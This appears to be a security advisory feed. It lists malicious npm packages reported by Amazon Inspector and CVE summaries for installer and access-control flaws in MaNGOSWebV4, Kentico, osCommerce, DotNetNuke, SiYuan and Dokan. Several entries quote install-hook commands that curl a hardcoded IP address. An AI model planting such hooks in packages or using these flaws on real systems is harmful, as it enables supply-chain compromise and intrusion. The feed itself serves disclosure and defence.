Malicious code in digitalexp-style-module-l9 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4c1b3e9059995d4d535c65fafd0105eea420510acb17ad9befbc99c18aa25df9 package.json declares both preinstall and postinstall as node beacon.js, so beacon.js runs automatically on every npm install. beacon.js reads...

MaNGOSWebV4 < 4.0.8 - Cross-Site Scripting

paintballrefjosh/MaNGOSWebV4 4.0.8 contains a reflected XSS caused by unsanitized input in install/index.php step parameter, letting attackers execute arbitrary scripts in the victim's browser, exploit requires victim to visit a maliciously crafted URL id: CVE-2017-6478 info: name: MaNGOSWebV4...

Kentico - Installer Privilege Escalation

Kentico 9.0 before 9.0.51 and 10.0 before 10.0.48 are susceptible to a privilege escalation attack. An attacker can obtain Global Administrator access by visiting CMSInstall/install.aspx and then navigating to the CMS Administration Dashboard. id: CVE-2017-17736 info: name: Kentico - Installer...

osCommerce 2.3.4.1 - Remote Code Execution

osCommerce Online Merchant 2.3.4.1 contains a remote code execution caused by insecure default configuration and missing authentication in the installer workflow, letting unauthenticated attackers execute arbitrary PHP code via install4.php, exploit requires accessible /install/ directory after...

DotNetNuke 07.04.00 - Administration Authentication Bypass

The installation wizard in DotNetNuke DNN before 7.4.1 allows remote attackers to reinstall the application and gain SuperUser access via a direct request to Install/InstallWizard.aspx. id: CVE-2015-2794 info: name: DotNetNuke 07.04.00 - Administration Authentication Bypass author: 0xr2r severity...

Malicious code in sm-oauth (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 98d60527238d1284ed569a2fa7611ff2b430e1ebfab579f597f42a1eb28f49bc package.json declares preinstall and postinstall scripts that run curl -s http://16.192.173.5/sm-oauth/pre and curl -s...

Malicious code in sm-apikey-model (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d8e5a8bc4d985b445afbc71bd563bcee445381d2539a7110a0ca53d54b800367 package.json declares preinstall and postinstall lifecycle scripts that invoke curl over plain HTTP to a hardcoded bare-IP endpoint...

MAL-2026-14394 Malicious code in sm-apikey-model (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d8e5a8bc4d985b445afbc71bd563bcee445381d2539a7110a0ca53d54b800367 package.json declares preinstall and postinstall lifecycle scripts that invoke curl over plain HTTP to a hardcoded bare-IP endpoint...

MAL-2026-14400 Malicious code in sm-session (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ef638f6aa70fe3af65e927efad452743a47f30a2aead95446181742704d9bd24 package.json declares preinstall and postinstall lifecycle scripts that each run curl -s http://16.192.173.5/sm-session/pre and curl -s...

Malicious code in sm-session (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ef638f6aa70fe3af65e927efad452743a47f30a2aead95446181742704d9bd24 package.json declares preinstall and postinstall lifecycle scripts that each run curl -s http://16.192.173.5/sm-session/pre and curl -s...

MAL-2026-14393 Malicious code in sm-admin (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector fa2741ebbd0df8c6f349a4d34361cc3d814fe878f3f4521fd771a855cfdc152b Package [email protected] defines preinstall and postinstall lifecycle scripts that issue plain-HTTP GET requests to a hardcoded bare-IP endpoint at...

MAL-2026-14396 Malicious code in sm-cart (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 14b02c7ed01f5b6da80999086ceced1c2eb8b8102384f6778862a0bb3ecaebe0 Package [email protected] declares preinstall and postinstall scripts that unconditionally run curl -s http://16.192.173.5/sm-cart/pre and curl -s...

Malicious code in sm-billing-form (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 422b9f6c71b124deff27a41ef4b595c308595c14af77dbd3756de0e625f86fc2 package.json defines preinstall and postinstall lifecycle scripts that run curl -s http://16.192.173.5/sm-billing-form/pre and curl -s...

MAL-2026-14395 Malicious code in sm-billing-form (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 422b9f6c71b124deff27a41ef4b595c308595c14af77dbd3756de0e625f86fc2 package.json defines preinstall and postinstall lifecycle scripts that run curl -s http://16.192.173.5/sm-billing-form/pre and curl -s...

CVE-2026-62204

SiYuan versions before v3.7.4 contain a plugin overwrite vulnerability in the bazaar install endpoints . The root cause is a failure to validate that the packageName parameter matches the actual downloaded package content. An attacker with same-origin access can supply mismatched packageName and ...

EUVD-2026-64270

SiYuan versions before v3.7.4 fail to validate that packageName matches the downloaded package content in bazaar install endpoints. Attackers with same-origin access can overwrite existing trusted plugins by supplying mismatched packageName and repoURL parameters, achieving persistence across...

CVE-2026-16576

The Dokan: AI Powered WooCommerce Multivendor Marketplace Solution WordPress plugin before 5.0.14 does not correctly check user capabilities on some of its admin REST API routes, checking only for a WooCommerce management capability instead of the Dokan: AI Powered WooCommerce Multivendor...

CVE-2026-16576 Dokan < 5.0.14 - Shop Manager+ Arbitrary Plugin Installation/Activation via REST API

The Dokan: AI Powered WooCommerce Multivendor Marketplace Solution WordPress plugin before 5.0.14 does not correctly check user capabilities on some of its admin REST API routes, checking only for a WooCommerce management capability instead of the Dokan: AI Powered WooCommerce Multivendor...

EUVD-2026-63818

The Dokan: AI Powered WooCommerce Multivendor Marketplace Solution WordPress plugin before 5.0.14 does not correctly check user capabilities on some of its admin REST API routes, checking only for a WooCommerce management capability instead of the Dokan: AI Powered WooCommerce Multivendor...

CVE-2026-16576

The Dokan: AI Powered WooCommerce Multivendor Marketplace Solution WordPress plugin before 5.0.14 contains an improper access control flaw in its admin REST API routes. The affected endpoints check only for a WooCommerce management capability rather than the required Dokan-installation capability...